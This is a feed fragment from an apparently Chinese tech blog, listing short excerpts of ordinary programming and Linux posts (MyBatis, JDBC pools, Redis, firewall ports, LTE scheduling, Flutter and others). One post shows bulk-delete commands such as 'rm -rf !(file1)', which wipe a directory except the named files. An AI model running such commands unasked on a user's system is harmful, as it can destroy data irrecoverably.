      <description>前言：今天介绍一个mybatis操作数据库时的一个类似黑匣子的东西，TypeHandler&#xA;闲聊：&#xA;在我们平常开发操作数据库时，查询、插入数据等操作行为，有时会报数据类型不匹配异常，就可以得知数据的类型是不唯一的必然是多种不同的数据类型。并且我们必须要明确的一点就是java作为一门编程语言有自己的数据类型，数据库也是有自己的数据类型的。&#xA;jdbc数据类型：org.apache.ibatis.type.JdbcType 此枚举就是所有的数据库支持类型&#xA;java数据类型：int、long、string、…&#xA;一定要分清，例如java重的date数据插入到数据库中，应该是已经转换成了数据库的某种类型，必然跟java已经没有关系了。中间有一些我们看不见的操作做了数据处理。&#xA;假设此时的java类型与数据库数据类型是一样的，哪么其他语言中的日期数据插入数据库时又该怎么解释，例如C#操作数据库存入时间类型，C#与java肯定没有关系吧。所以每种语言与数据库之间有种数据类型关系对应。&#xA;思考：&#xA;因为java与数据库各自有数据类型，所以在将java数据存入数据库前中间是否有其他操作，是我们看不见的，不然java数据怎么知道自己与哪个jdbc数据类型匹配？&#xA;答：mybatis框架为每种数据类型做了默认的关系对应，BaseTypeHandler的所有实现类，就是来做这些处理的。&#xA;例如：java中的date插入数据库时是jdbc哪种类型，怎么就是这种类型？ 中间具体有什么操作？&#xA;答：DateTypeHandler就是来解决date数据类型的处理。&#xA;源码查看： 看一下源码中具体怎么处理date数据类型的。&#xA;先看一下接口：&#xA;//此接口作用是用于指定jdbc与java的数据类型间对应关系处理。 public interface TypeHandler&amp;lt;T&amp;gt; { // 保存操作，数据入库之前时数据处理 void setParameter(PreparedStatement ps, int i, T parameter, JdbcType jdbcType) throws SQLException; //下面三个则是，从数据库加载数据后，vo对象封装前的数据处理 T getResult(ResultSet rs, String columnName) throws SQLException; T getResult(ResultSet rs, int columnIndex) throws SQLException; T getResult(CallableStatement cs, int columnIndex) throws SQLException; } 具体处理效果：BaseTypeHandler 实现了TypeHandler 接口&#xA;public class DateTypeHandler extends BaseTypeHandler&amp;lt;Date&amp;gt; { @Override public void setNonNullParameter(PreparedStatement ps, int i, Date parameter, JdbcType jdbcType) throws SQLException {//插入数据前，类型转关 ps.</description>
    </item>
    <item>
      <title>【JAVAWEB学习笔记】10_JDBC连接池&amp;DBUtils</title>
      <link>https://bchobby.github.io/posts/79772fcc4df44dc9d301823b83354daf/</link>
      <pubDate>Wed, 24 Jul 2019 15:57:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79772fcc4df44dc9d301823b83354daf/</guid>
      <description>使用连接池改造JDBC的工具类：&#xA;1.1.1 需求：&#xA;传统JDBC的操作,对连接的对象销毁不是特别好.每次创建和销毁连接都是需要花费时间.可以使用连接池优化的程序.&#xA;在程序开始的时候,可以创建几个连接,将连接放入到连接池中.用户使用连接的时候,可以从连接池中进行获取.用完之后,可以将连接归还连接池. 1.1.2 分析:&#xA;1.1.2.1 技术分析：&#xA;【自定义连接池】（了解）&#xA;SUN公司提供了一个连接池的接口.(javax.sql.DataSource).&#xA;定义一个连接池:实现这个接口.&#xA;使用List集合存放多个连接的对象.&#xA;【自定义连接池的代码】&#xA;public class MyDataSource implements DataSource{&#xA;// 创建一个List集合用于存放多个连接对象. private List&amp;lt;Connection&amp;gt; list = new ArrayList&amp;lt;Connection&amp;gt;(); // 在程序开始的时候，初始化几个连接,将连接存放到list中. public MyDataSource() { // 初始化3个连接: for(int i=1;i&amp;lt;=3;i++){ Connection conn = JDBCUtils.getConnection(); list.add(conn); } } @Override // 获得连接的方法： public Connection getConnection() throws SQLException { if(list.size() &amp;lt;= 0){ for(int i=1;i&amp;lt;=3;i++){ Connection conn = JDBCUtils.getConnection(); list.add(conn); } } Connection conn = list.remove(0); return conn; } // 归还连接的方法： public void addBack(Connection conn){ list.</description>
    </item>
    <item>
      <title>CentOS 7.2 - 系统管理 - 列出所有service</title>
      <link>https://bchobby.github.io/posts/4db3eb0e0ce830a6c1a3deb26f9d4547/</link>
      <pubDate>Wed, 24 Jul 2019 01:09:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4db3eb0e0ce830a6c1a3deb26f9d4547/</guid>
      <description> 列出所有enabled, active的service：&#xA;systemctl list-units --type=service&#xA;列出所有service，不论active还是inactive又或者是failed和not-found：&#xA;systemctl list-units --type=service --all&#xA;列出所有已安装的service，不论有没有运行，不论有没有设置为系统启动项，不论服务是否还有效：&#xA;systemctl list-unit-files --type=service&#xA;备注：&#xA;一般安装的service file可能会有4中状态：&#xA;enabled 安装了的，并会随系统启动而启动。static Enabled服务启动时需要同时启动的依赖服务。disabled 已安装，但不可随系统启动而同时启动的服务。invalid 无效的 </description>
    </item>
    <item>
      <title>Unity实现M选N个随机组件的功能</title>
      <link>https://bchobby.github.io/posts/ff4f03f7ed1870673218dfcbf2e67b1c/</link>
      <pubDate>Tue, 23 Jul 2019 21:00:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff4f03f7ed1870673218dfcbf2e67b1c/</guid>
      <description>最近的开发工程中遇到了一个这样的要求：要求在15个按钮中随机选取8个按钮显示出来。&#xA;一开始我困于随机数的选取，后来请教大佬之后得出了思路：先将15个按钮使用Guid Layer Group布局排好，但是在Unity视图&#xA;中只显示8个按钮。如下图：&#xA;为了不打乱原来的数组顺序，我建立了一个长度为15的数组，而且数组中的数为1，2，3，4…15。然后打乱数组的元素顺序，&#xA;最后取被打乱数组的前七个数作为遗弃的Button数组下标，将其Active设置为False之后剩下的按钮会自动排列好。代码如下：&#xA;int[] Rans = new int[15]; for (int i = 0; i &amp;lt; 15; i++) { Rans[i] = i; } System.Random rand = new System.Random(); int k = 0; int tmp = 0; for (int i = 0; i &amp;lt; 15; i++) { k = rand.Next(0, 15); if (k != i)//换位置 { tmp = Rans[i]; Rans[i] = Rans[k]; Rans[k] = tmp; } } for (int j = 0; j &amp;lt; 7; j++) { transform.</description>
    </item>
    <item>
      <title>echarts增加loading加载效果</title>
      <link>https://bchobby.github.io/posts/5b37426eac01a08866f098bf18b0bd63/</link>
      <pubDate>Tue, 23 Jul 2019 17:03:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b37426eac01a08866f098bf18b0bd63/</guid>
      <description> echarts设置数据加载前显示loading动画效果：&#xA;划重点：利用echart自带showLoading()方法；&#xA;eg:&#xA;在调用setoption方法之前调用showLoadin()方法；之后再调用hideLoading()方法&#xA;import echarts from &#39;echarts&#39;; const mycharts = echarts.init(document.getElementById(&#39;echart&#39;))； // 调用showLoading方法 mycharts.showLoading({ text: &#39;loading&#39;, color: &#39;#c23531&#39;, textColor: &#39;#000&#39;, maskColor: &#39;rgba(255, 255, 255, 0.2)&#39;, zlevel: 0, });; setTimeout(() =&amp;gt; { // setOption前隐藏loading事件 mycharts.hideLoading(); mycharts.setOption(option); }, 1000); const option = { tooltip: { trigger: &#39;item&#39;, formatter: &#34;{a} &amp;lt;br/&amp;gt;{b}: {c} ({d}%)&#34; }, legend: { orient: &#39;vertical&#39;, x: &#39;left&#39;, data:[&#39;直接访问&#39;,&#39;邮件营销&#39;,&#39;联盟广告&#39;,&#39;视频广告&#39;,&#39;搜索引擎&#39;] }, series: [ { name:&#39;访问来源&#39;, type:&#39;pie&#39;, radius: [&#39;50%&#39;, &#39;70%&#39;], avoidLabelOverlap: false, label: { normal: { show: false, position: &#39;center&#39; }, emphasis: { show: true, textStyle: { fontSize: &#39;30&#39;, fontWeight: &#39;bold&#39; } } }, labelLine: { normal: { show: false } }, data:[ {value:335, name:&#39;直接访问&#39;}, {value:310, name:&#39;邮件营销&#39;}, {value:234, name:&#39;联盟广告&#39;}, {value:135, name:&#39;视频广告&#39;}, {value:1548, name:&#39;搜索引擎&#39;} ] } ] }; </description>
    </item>
    <item>
      <title>Failed opening the RDB file dump.rdb</title>
      <link>https://bchobby.github.io/posts/dee28abecebb12fa9b0e9ab596d98534/</link>
      <pubDate>Mon, 22 Jul 2019 23:00:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dee28abecebb12fa9b0e9ab596d98534/</guid>
      <description>运行redis数据库是，打印日志 Failed opening the RDB file dump.rdb (in server root dir C:\Program Files\redis) for saving: Permission denied&#xA;原因:&#xA;我在搭建好主从节点后,重新启动两个redis实例,发现主节点一直提示如下这个错误:&#xA;[4664] 22 Jul 22:54:39.122 # rdbSave failed in qfork: Permission denied [6504] 22 Jul 22:54:39.138 # fork operation complete [6504] 22 Jul 22:54:39.138 # Background saving error [6504] 22 Jul 22:54:45.045 * 1 changes in 3600 seconds. Saving... [6504] 22 Jul 22:54:45.060 * Background saving started by pid 8572 [8572] 22 Jul 22:54:45.</description>
    </item>
    <item>
      <title>linux开放指定端口命令</title>
      <link>https://bchobby.github.io/posts/016660975b0d0cfacf0614ce2e108381/</link>
      <pubDate>Mon, 22 Jul 2019 11:31:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/016660975b0d0cfacf0614ce2e108381/</guid>
      <description>方式一&#xA;CentOS：&#xA;1、开启防火墙 systemctl start firewalld 2、开放指定端口 firewall-cmd --zone=public --add-port=1935/tcp --permanent 命令含义： --zone #作用域 --add-port=1935/tcp #添加端口，格式为：端口/通讯协议 --permanent #永久生效，没有此参数重启后失效 3、重启防火墙 firewall-cmd --reload 4、查看端口号 netstat -ntlp //查看当前所有tcp端口· netstat -ntulp |grep 1935 //查看所有1935端口使用情况· 方式二&#xA;#开放端口:8080&#xA;/sbin/iptables -I INPUT -p tcp --dport 8080 -j ACCEPT&#xA;方式三&#xA;-A INPUT -m state --state NEW -m tcp -p tcp --dport 8080 -j ACCEPT&#xA;service iptables restart&#xA;转载于:https://www.cnblogs.com/sxmny/p/11224842.html</description>
    </item>
    <item>
      <title>ShareTechnote系列LTE（7）：SIB调度</title>
      <link>https://bchobby.github.io/posts/d0f3a5a64e1de0b25fc1f43f1ee19004/</link>
      <pubDate>Mon, 22 Jul 2019 09:58:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0f3a5a64e1de0b25fc1f43f1ee19004/</guid>
      <description>SIB调度 在LTE中，MIB、SIB1、SIB2被强制发送给任何小区，由于许多SIB被传输，因此发送SIB的位置（子帧）不应与发送另一个SIB的子帧相同。&#xA;SIB总体调度概念如下：&#xA;i）MIB以固定周期传输（从SFN 0开始每4帧一次） ii）SIB1也以固定周期传输（从SFN 0开始每8帧一次）。&#xA;iii）所有其他SIB按照SIB1中SIB调度信息指定的周期进行传输。&#xA;如果不正确地设置iii）中的调度信息值，所有其他SIB将不会被UE解码，这意味着，即使所有的SIB都在传输，UE会试图在错误的时间对它们进行解码，但是UE无法识别小区并显示“无服务”消息。 根据36.331的5.2.1.2，MIB调度如下：&#xA;MIB使用40 ms的固定周期，并在40 ms内重复发送。MIB的第一次传输安排在SFN mod 4=0的无线电帧的子帧0中，在所有其他无线电帧的子帧0中重复发送。&#xA;根据36.331的6.2.2 消息定义-主信息块字段描述，MIB中的系统帧号规定如下：&#xA;定义SFN的8个最高有效位。如TS 36.211[21，6.6.1]所示，在P-BCH解码中隐式获取SFN的2个最低有效位，即40毫秒P-BCH TTI的定时表示2个最低有效位（在40毫秒P-BCH TTI内，第一个无线帧为00，第二个无线帧为01，第三个无线帧为10，最后一个无线帧：11）。每个适用于所有服务小区（相关功能是通用的，即不是为每个小区单独执行）。&#xA;根据36.331的5.2.1.2，SIB1调度如下：&#xA;SystemInformationBlockType1使用一个80 ms的固定周期，并在80 ms内进行重复。SystemInformationBlockType1的第一次传输安排在SFN mod 8=0的无线电帧的子帧5中，重复安排在所有SFN mod 2=0的无线电帧的子帧5中。&#xA;这意味着，尽管SIB1周期为80 ms，但SIB1的不同副本（还原版本：RV）每20 ms传输一次。也就是说，在L3，每80 ms看到SIB1，但在PHY层，每20 ms就能看到它。有关每次传输的详细RV分配，可参阅36.321的5.3.1。&#xA;以下日志（来自Amarisoft）清楚地显示了如上所述的SIB1传输。&#xA;其他SIB的传输周期由SIB1中的调度信息列表确定，如以下示例所示（本示例是传输SIB2和3的情况）。&#xA;注意到，第一个节点中的sib-mappinginfo未指定，但schedulingInfoList的第一个实体应始终是36.331中指定的SIB2，如下所示（参见36.331 SystemInformationBlockType1字段描述）。&#xA;映射到此系统信息消息的SIB列表，没有SIB2的映射信息；它始终出现在schedulingInfoList列出的第一条系统信息消息中。&#xA;理解子帧编号的整个循环是非常简单的，但是准确理解SIB应该在哪个子帧上传输并不简单，它与SIB1中“si-WindowLength ”有关。si-WindowLength告诉我们，SIB应该从si-Periodicity指定的SFN开始在窗口长度内的某个地方传输。但是这个参数没有明确的指出子帧号。&#xA;特定SIB传输的子帧由36.331 的5.2.3SI消息采集算法确定，如下所示：&#xA;当获取SI信息时，UE应：&#xA;1&amp;gt;确定相关SI消息的SI窗口的开始位置，如下所示：&#xA;2&amp;gt;对于相关的SI消息，确定与SIB1中 schedulingInfoList中配置的SI消息列表中的条目顺序相对应的数字n；&#xA;注：SystemInformationBlock Typel的 schedulingInfolist指定了SI消息的列表，每个SI消息在该列表中的顺序以n表示（从1开始）。假如schedulingInfolist中指定了4个SI消息，则会有4个连续的SI窗口用于发送这4个SI消息，而n表明了SI消息在第几个SI窗口。&#xA;2&amp;gt;确定整数值x=（n–1）*w，其中w是si-WindowLength；&#xA;2&amp;gt;si窗口从子帧a开始，其中a=x mod 10，SFN mod t=floor（x/10），t是相关si消息的 si-Periodicity；&#xA;注：仅当所有SI都安排在SFN mod 2=0的无线电帧中的子帧5之前时，e-utran才应将SI窗口配置为1 ms。&#xA;注2：从公式可以看出，x决定了SI窗口在该SI周期内的起始帧和起始子帧；SFN mod t保证了SI窗口在SI周期内只出现一次；而x=（n-1）*w保证了SI窗口之间紧挨，不重叠，没有空隙。（SI窗口起始帧和起始子帧的的计算，详见36.331的&#xA;5.2.3节）&#xA;1&amp;gt;使用SI-RNTI 从SI窗口的开始接收DL-SCH，并继续到SI窗口的结束，该窗口的绝对时间长度由si-WindowLength给出，或直到接收到si消息为止，不包括以下子帧：&#xA;2&amp;gt;SFNmod 2=0的无线帧的子帧5；</description>
    </item>
    <item>
      <title>java中如何将OutputStream转换为InputStream</title>
      <link>https://bchobby.github.io/posts/9aae799fd4c3cca0690280654cff280b/</link>
      <pubDate>Sun, 21 Jul 2019 06:51:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9aae799fd4c3cca0690280654cff280b/</guid>
      <description>在不需要文件生成的情况下，直接将输出流转换成输入流。可使用下面的三种方法：&#xA;如果你曾经使用java IO编程，你会很快碰到这种情况，某个类在OutputStream上创建数据而你需要将它发送给某个需要从输入流读取数据的类。&#xA;你很快会被问道，“java中如何将OutputStream转换为InputStream？”&#xA;方法一：使用字节数组缓存数据&#xA;最简单的方法是用字节数组缓存数据。代码&#xA;ByteArrayOutputStream out = new ByteArrayOutputStream(); class1.putDataOnOutputStream(out); class2.processDataFromInputStream( new ByteArrayInputStream(out.toByteArray()) ); 于是，OutputStream就被转换为InputStream了。&#xA;方法二：使用管道&#xA;第一种方法的问题是你必须有足够的内存缓存所有数据。你可以使用文件系统缓存更多数据，但无论如何可处理数据的大小还是受到限制。&#xA;解决方法是创建一个线程产生数据到PipedOutputStream。当前线程可从中读取数据。&#xA;PipedInputStream in = new PipedInputStream(); PipedOUtputStream out = new PipedOutputStream(in); new Thread( new Runnable(){ public void run(){ class1.putDataOnOutputStream(out); } } ).start(); class2.processDataFromInputStream(in);||| 方法三：使用循环缓存区&#xA;方法二中的两个管道流，实际上管理着一个隐藏的循环缓存区。使用一个显式的循环缓存区更易于理解。CircularBuffers 有如下优点&#xA;一个CircularBuffers类而不是两个管道类。&#xA;较于缓存所有数据和额外线程的方法更容易使用。&#xA;你可以更改缓存大小而不必受限于管道缓存区1K的固定缓存大小。&#xA;多线程情形: CircularByteBuffer cbb = new CircularByteBuffer(); new Thread( new Runnable(){ public void run(){ class1.putDataOnOutputStream(cbb.getOutputStream()); } } ).start(); class2.processDataFromInputStream(cbb.getInputStream()); 单线程情形 // buffer all data in a circular buffer of infinite size CircularByteBuffer cbb = new CircularByteBuffer(CircularByteBuffer.</description>
    </item>
    <item>
      <title>Flutter路由管理和页面参数的传递（获取&amp;返回）</title>
      <link>https://bchobby.github.io/posts/84c48ffc090c2ae9eea1186a3d917393/</link>
      <pubDate>Sat, 20 Jul 2019 09:54:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84c48ffc090c2ae9eea1186a3d917393/</guid>
      <description>前言 在做 Flutter 开发的时候所有的页面以及页面上的元素都变成了 Widget ，创建一个页面或者视图直接 new 一个新的 widget 就可以，相关的参数我们可以直接通过构造函数直接传递。&#xA;我们做 Android 开发的人员都知道 Android 应用程序在进行页面跳转的时候可以利用Intent进行参数传递，那么再开发 Flutter 的时候有类似的方式可以进行参数传递么？答案当然是有。&#xA;Flutter中文网 中有一段话，大多数应用程序包含多个页面。例如，我们可能有一个显示产品的页面，然后，用户可以点击产品，跳到该产品的详情页。&#xA;在Android中，页面对应的是Activity，在iOS中是ViewController。而在Flutter中，页面只是一个widget！&#xA;在Flutter中，我们那么我们可以使用Navigator在页面之间跳转。&#xA;所以我们下边讲述 widget 的参数传递，从简单到简便：&#xA;widget构造参数传递&#xA;route参数传递&#xA;上面两种方式进混合（onGenerateRoute）&#xA;widget构造参数传递 class Page extends StatelessWidget{ Page({this.arguments}); final Map arguments; @override Widget build(BuildContext context) { return Material( child: Center( child: Text(&#34;this page name is ${arguments != null ? arguments[&#39;name&#39;] : &#39;null&#39;}&#34;), ), ); } } 上面是一个简单的 Flutter 的视图组件，我们在使用参数 arguments 的时候只需要将其传入到 Page({this.arguments}) 的构造函数中。&#xA;void main() =&amp;gt; runApp(MyApp()); class MyApp extends StatelessWidget { @override Widget build(BuildContext context) { return MaterialApp( title: &#39;Flutter Demo&#39;, home: Page(arguments: {&#34;</description>
    </item>
    <item>
      <title>java中List元素移除元素的那些坑</title>
      <link>https://bchobby.github.io/posts/eccb35464544055b936231a9a6785a6c/</link>
      <pubDate>Sat, 20 Jul 2019 09:18:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eccb35464544055b936231a9a6785a6c/</guid>
      <description>本文主要介绍，java中list集合移除元素的那些坑，今天小编就和大家一起来了解一下吧！&#xA;一、问题案例&#xA;1.1、for循环移除&#xA;public static void main(String[] args) {&#x9;List&amp;lt;String&amp;gt; list = new ArrayList&amp;lt;String&amp;gt;();&#x9;list.add(&#34;11&#34;);&#x9;list.add(&#34;11&#34;);&#x9;list.add(&#34;12&#34;);&#x9;list.add(&#34;13&#34;);&#x9;list.add(&#34;14&#34;);&#x9;list.add(&#34;15&#34;);&#x9;list.add(&#34;16&#34;);&#x9;System.out.println(&#34;原始list元素：&#34;+ list.toString());&#x9;CopyOnWriteArrayList&amp;lt;String&amp;gt; copyList = new CopyOnWriteArrayList&amp;lt;&amp;gt;(list);&#x9;//通过下表移除等于11的元素&#x9;for (int i = 0; i &amp;lt; list.size(); i++) {&#x9;String item = list.get(i);&#x9;if(&#34;11&#34;.equals(item)) {&#x9;list.remove(i);&#x9;}&#x9;}&#x9;System.out.println(&#34;通过下表移除后的list元素：&#34;+ list.toString());&#x9;//通过对象移除等于11的元素&#x9;for (int i = 0; i &amp;lt; copyList.size(); i++) {&#x9;String item = copyList.get(i);&#x9;if(&#34;11&#34;.equals(item)) {&#x9;copyList.remove(item);&#x9;}&#x9;}&#x9;System.</description>
    </item>
    <item>
      <title>redis命令-key操作</title>
      <link>https://bchobby.github.io/posts/4236977bf44695a7faf43af4c0a376b4/</link>
      <pubDate>Sat, 20 Jul 2019 06:53:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4236977bf44695a7faf43af4c0a376b4/</guid>
      <description>目录&#xA;DEL&#xA;RENAME&#xA;RENAMENX&#xA;EXPIRE&#xA;EXPIREAT&#xA;PEXPIRE&#xA;PEXPIREAT&#xA;TTL&#xA;PTTL&#xA;PERSIST&#xA;EXISTS&#xA;KEYS&#xA;MOVE&#xA;RANDOMKEY&#xA;OBJECT&#xA;TYPE&#xA;SORT&#xA;SCAN&#xA;DUMP&#xA;RESTORE&#xA;MIGRATE&#xA;DEL 语法：DEL key [key ...]功能：删除给定的一个或多个 key 。可用版本：&amp;gt;= 1.0.0时间复杂度：O(N)， N 为被删除的 key 的数量。删除单个列表、集合、有序集合或哈希表类型的 key ，时间复杂度为O(M)， M 为以上数据结构内的元素数量。返回值：被删除 key 的数量。 RENAME 语法：RENAME key newkey功能：将 key 改名为 newkey 。可用版本：&amp;gt;= 1.0.0时间复杂度：O(1)返回值：改名成功时提示 OK ，失败时候返回一个错误。当 key 和 newkey 相同，或者 key 不存在时，返回一个错误。当 newkey 已经存在时， RENAME 命令将覆盖旧值。 RENAMENX 语法：RENAMENX key newkey功能：将 key 改名为 newkey 。可用版本：&amp;gt;= 1.</description>
    </item>
    <item>
      <title>linux模糊删除文件</title>
      <link>https://bchobby.github.io/posts/b262475b928c07def59949eb6a4ec80f/</link>
      <pubDate>Fri, 19 Jul 2019 19:41:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b262475b928c07def59949eb6a4ec80f/</guid>
      <description> linux(模糊批量删除文件)删除指定文件夹中某个文件除外的其他文件&#xA;# shopt -s extglob # rm -fr !(file1) （慎用） 排除多个可以这样：&#xA;# rm -rf !(file1|file2) （慎用） 首先科普下shopt -s extglob&#xA;Bash Shell有个extglob选项，开启之后Shell可以另外识别出5个模式匹配操作符，能使文件匹配更加方便。&#xA;开启shopt命令：shopt -s extglob 关闭shopt命令：shopt -u extglob 开启将会有5个模式匹配操作符将被识别：&#xA;?(pattern-list) - 所给模式匹配0次或1次； *(pattern-list) - 所给模式匹配0次以上包括0次 +(pattern-list) - 所给模式匹配1次以上包括1次 @(pattern-list) - 所给模式仅仅匹配1次 !(pattern-list) - 不匹配括号内的所给模式 示例 删除文件名不以jpg结尾的文件：&#xA;rm -rf !(*jpg) 删除文件名以jpg或png结尾的文件：&#xA;rm -rf *@(jpg|png) </description>
    </item>
    <item>
      <title>MyBatis 核心配置综述之StatementHandler</title>
      <link>https://bchobby.github.io/posts/84666dfea19a4acf30a11b259bacc8f6/</link>
      <pubDate>Fri, 19 Jul 2019 09:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84666dfea19a4acf30a11b259bacc8f6/</guid>
      <description>StatementHandler 是四大组件中最重要的一个对象，负责操作 Statement 对象与数据库进行交流，在工作时还会使用 ParameterHandler 和 ResultSetHandler 对参数进行映射，对结果进行实体类的绑定&#xA;MyBatis 四大组件之StatementHandler&#xA;我们在搭建原生JDBC的时候，会有这样一行代码&#xA;Statement stmt = conn.createStatement(); //也可以使用PreparedStatement来做 这行代码创建的 Statement 对象或者是 PreparedStatement 对象就是由StatementHandler进行管理的。&#xA;StatementHandler 的基本构成&#xA;来看一下StatementHandler中的主要方法：&#xA;prepare: 用于创建一个具体的 Statement 对象的实现类或者是 Statement 对象&#xA;parametersize: 用于初始化 Statement 对象以及对sql的占位符进行赋值&#xA;update: 用于通知 Statement 对象将 insert、update、delete 操作推送到数据库&#xA;query: 用于通知 Statement 对象将 select 操作推送数据库并返回对应的查询结果&#xA;StatementHandler的继承结构&#xA;有没有感觉和 Executor 的继承体系很相似呢？最顶级接口是四大组件对象，分别有两个实现类 BaseStatementHandler 和 RoutingStatementHandler ，BaseStatementHandler 有三个实现类, 他们分别是 SimpleStatementHandler、PreparedStatementHandler 和 CallableStatementHandler。&#xA;RoutingStatementHandler: RoutingStatementHandler 并没有对 Statement 对象进行使用，只是根据StatementType 来创建一个代理，代理的就是对应Handler的三种实现类。在MyBatis工作时,使用的StatementHandler 接口对象实际上就是 RoutingStatementHandler 对象。我们可以理解为&#xA;StatementHandler statmentHandler = new RountingStatementHandler(); public RoutingStatementHandler(Executor executor, MappedStatement ms, Object parameter, RowBounds rowBounds, ResultHandler resultHandler, BoundSql boundSql) {&#x9;// 根据 statementType 创建对应的 Statement 对象&#x9;switch (ms.</description>
    </item>
    <item>
      <title>keras faster r-cnn源代码解析（四）——ROI</title>
      <link>https://bchobby.github.io/posts/ab8cf3bca82cbbc81651049ad6e11777/</link>
      <pubDate>Thu, 18 Jul 2019 12:13:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab8cf3bca82cbbc81651049ad6e11777/</guid>
      <description>一、利用ROI训练分类器&#xA;最后是ROI的生成了，在每个训练的epch循环中，核心代码如下：&#xA;#输出：yield np.copy(x_img), [np.copy(y_rpn_cls), np.copy(y_rpn_regr)], img_data_aug #网络训练的输入是图片，和找到的最优的anchor，不是GTbox X, Y, img_data = next(data_gen_train) # loss_rpn = model_rpn.train_on_batch(X, Y)#Scalar training loss (if the model has a single output and no metrics) or list of scalars (if the model has multiple outputs and/or metrics). write_log(callback, [&#39;rpn_cls_loss&#39;, &#39;rpn_reg_loss&#39;], loss_rpn, train_step) P_rpn = model_rpn.predict_on_batch(X)#获取预测的Y值，即[np.copy(y_rpn_cls), np.copy(y_rpn_regr)] #筛选出ROI,ROI指的是在feature map中合法box中具有最大概率包含物体的box，删除重叠率较高的box之后剩下来的box(xxx,4) R = roi_helpers.rpn_to_roi(P_rpn[0], P_rpn[1], C, K.image_dim_ordering(), use_regr=True, overlap_thresh=0.7, max_boxes=300) # note: calc_iou converts from (x1,y1,x2,y2) to (x,y,w,h) format #img_data，图片的信息，R候选ROI #输出： #X2：#选取的iou大于0.</description>
    </item>
    <item>
      <title>while()循环条件为假却不退出循环</title>
      <link>https://bchobby.github.io/posts/4e8607e65ffc88258279ffddd646dda3/</link>
      <pubDate>Thu, 18 Jul 2019 11:18:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e8607e65ffc88258279ffddd646dda3/</guid>
      <description>之前在做EFM32TG的一个项目时，遇到了一个问题，while循环条件为假却还是一直在循环里面无法退出，代码如下：&#xA;/***************************************************************************//**&#xA;* @brief Delays number of msTick Systicks (typically 1 ms)&#xA;* @param dlyTicks Number of ticks to delay&#xA;******************************************************************************/&#xA;void TickDly(uint32_t dlyTicks)&#xA;{&#xA;uint32_t curTicks;&#xA;curTicks = msTicks;&#xA;while ((msTicks - curTicks) &amp;lt; dlyTicks) ;&#xA;}&#xA;函数功能很简单就是一个毫秒延时，变量msTick在滴答中断中每毫秒自增1。&#xA;经过查找资料和跟网友的交流谈一下自己对这个问题的理解：&#xA;当进入循环的时候，CPU是把msTick是从内存加载到寄存器中运行的，中断发生的时候同样是把msTick加载到寄存器赋值后在存到内存中，最后退出中断在回到循环中。所以msTick对应的内存值已经发生改变，但循环里面却没有重新从内存中加载变量的值导致循环里面msTick的值并没有发生改变所以无法退出循环。&#xA;解决方法就是在msTick加上volatile关键字修饰，这样编译后的程序在msTick变量发生改变的时候就会直接从变量地址中加载该变量的值。</description>
    </item>
    <item>
      <title>05  spu和sku解析   分布式文件服务器FastDFS</title>
      <link>https://bchobby.github.io/posts/1c6c1907e3ec9d8ca74c47ff7eff1066/</link>
      <pubDate>Thu, 18 Jul 2019 10:28:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c6c1907e3ec9d8ca74c47ff7eff1066/</guid>
      <description>spu商品信息聚合的最小单位 例如iphone7&#xA;sku库存进出计量单位 例如 iphone7 金色 移动 32G iphone7 银色 电信 64G iphone7 粉色 电信 128G 都是sku 富文本编辑器 初始化 KindEditor.ready allowFileManager 【是否允许浏览服务器已上传文件】 默认值是：false var editor; KindEditor.ready(function (k) { editor=K.create(&#39;textarea[name=&#34;content&#34;]&#39;,{ allowFileManager:true }); }); 提取富文本编辑器中的内容 var content=editor.html() 清空内容 editor.html(&#34;&#34;)&#xA;上传图片步骤后端使用MultipartFile接收前端传过来的图片获取文件名 multipartFile.getOriginalFilename（）使用Client.conf配置文件指定图片服务器地址在springmvc.xml文件中配置文件上传多媒体解析器使用工具类上传图片只返回图片id（由fastDFS自动组装的包括 组名 虚拟磁盘路径 数据两级目录 文件名 组成 ）想要前端访问到图片还应拼接上服务器地址在AgularJS中使用new FormData()表示上传带有图片的表单 formData.append(&#34;file&#34;,file.files[0]) file 是angularjs上传文件固定的post方式上传 data类型设置 为上面的formData 此时还应设置头信息 headers :{&#39;Content-Type&#39;:undifined} 此时浏览器就会把header头信息变成 multipart/form-data格式 否则默认为application/json格式 还需要表单序列化 transformRequest : angular.identity formData.append(&#34;file&#34;,file.files[0]); return $http({ method:&#39;POST&#39;, url:&#34;../upload.do&#34;, data: formData, headers: {&#39;Content-Type&#39;:undefined}, transformRequest: angular.</description>
    </item>
    <item>
      <title>Redis系列之HyperLogLog用法简介</title>
      <link>https://bchobby.github.io/posts/f37c7faa66f9bd2c87c02f00de034d09/</link>
      <pubDate>Wed, 17 Jul 2019 22:01:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f37c7faa66f9bd2c87c02f00de034d09/</guid>
